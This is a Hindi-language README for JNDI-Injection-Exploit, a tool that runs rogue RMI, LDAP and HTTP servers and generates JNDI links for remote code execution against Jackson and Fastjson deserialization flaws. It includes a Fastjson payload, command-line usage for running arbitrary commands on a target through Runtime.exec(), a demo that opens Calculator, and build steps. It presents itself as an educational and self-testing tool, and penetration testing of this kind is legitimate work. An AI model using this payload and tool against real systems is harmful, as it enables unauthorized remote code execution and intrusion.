
JNDI इंजेक्शन परीक्षण उपकरण (एक उपकरण जो JNDI लिंक उत्पन्न करता है, JNDI इंजेक्शन भेद्यता का शोषण करने के लिए कई सर्वर शुरू कर सकता है, जैसे Jackson, Fastjson आदि।)
JNDI इंजेक्शन के बारे में सामग्री
JNDI-इंजेक्शन-एक्सप्लॉइट एक उपकरण है जो काम करने योग्य JNDI लिंक उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके पृष्ठभूमि सेवाएं प्रदान करने के लिए है। RMI सर्वर और LDAP सर्वर marshals पर आधारित हैं और HTTP सर्वर से जोड़ने के लिए आगे संशोधित किए गए हैं।
इस उपकरण का उपयोग करके आप JNDI लिंक प्राप्त कर सकते हैं, आप इन लिंक्स को अपने POC में डालकर कमजोरी का परीक्षण कर सकते हैं।
उदाहरण के लिए, यह एक Fastjson कमजोरी-POC है:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
हम "rmi://127.0.0.1:1099/Object" को JNDI-इंजेक्शन-एक्सप्लॉइट द्वारा उत्पन्न लिंक से बदलकर कमजोरी का परीक्षण कर सकते हैं।
सारी जानकारी और कोड केवल शैक्षिक उद्देश्यों और/या अपने स्वयं के सिस्टम का इन कमजोरियों के लिए परीक्षण करने के लिए प्रदान किया गया है।
इस प्रकार चलाएँ:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
जहाँ:
-C - रिमोट क्लासफाइल में निष्पादित कमांड।
(वैकल्पिक, डिफ़ॉल्ट कमांड "open /Applications/Calculator.app" है)
-A - आपके सर्वर का पता, एक IP पता या एक डोमेन हो सकता है।
(वैकल्पिक, डिफ़ॉल्ट पता पहला नेटवर्क इंटरफ़ेस पता है)
ध्यान देने योग्य बातें:
सुनिश्चित करें कि आपके सर्वर के पोर्ट (1099, 1389, 8180) उपलब्ध हैं।
या आप run.ServerStart क्लास की पंक्ति 26~28 में डिफ़ॉल्ट पोर्ट बदल सकते हैं।
आपका कमांड Runtime.getRuntime().exec() को पैरामीटर के रूप में पारित किया जाता है,
इसलिए आपको सुनिश्चित करना होगा कि आपका कमांड exec() विधि में कार्य करने योग्य है।
bash में कमांड जैसे "bash -c ...." के लिए डबल कोट्स जोड़ने की आवश्यकता है।
स्थानीय डेमो:
उपकरण को इस प्रकार प्रारंभ करें:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
स्क्रीनशॉट:

मान लें कि हम चरण 1 में उत्पन्न rmi://ADDRESS/jfxllc जैसे JNDI लिंक को एक कमजोर एप्लिकेशन में इंजेक्ट करते हैं जिस पर JNDI इंजेक्शन द्वारा हमला किया जा सकता है।
इस उदाहरण में, यह इस प्रकार दिखता है:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
फिर जब हम यह कोड चलाते हैं, तो कमांड निष्पादित हो जाएगा,
और लॉग शेल में प्रिंट हो जाएगा:

हम jar प्राप्त करने के लिए दो विधियों में से एक चुन सकते हैं।
नवीनतम jar रिलीज़ से डाउनलोड करें।
स्रोत कोड को स्थानीय रूप से क्लोन करें और बिल्ड करें (Java 1.8+ और Maven 3.x+ की आवश्यकता है)।
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests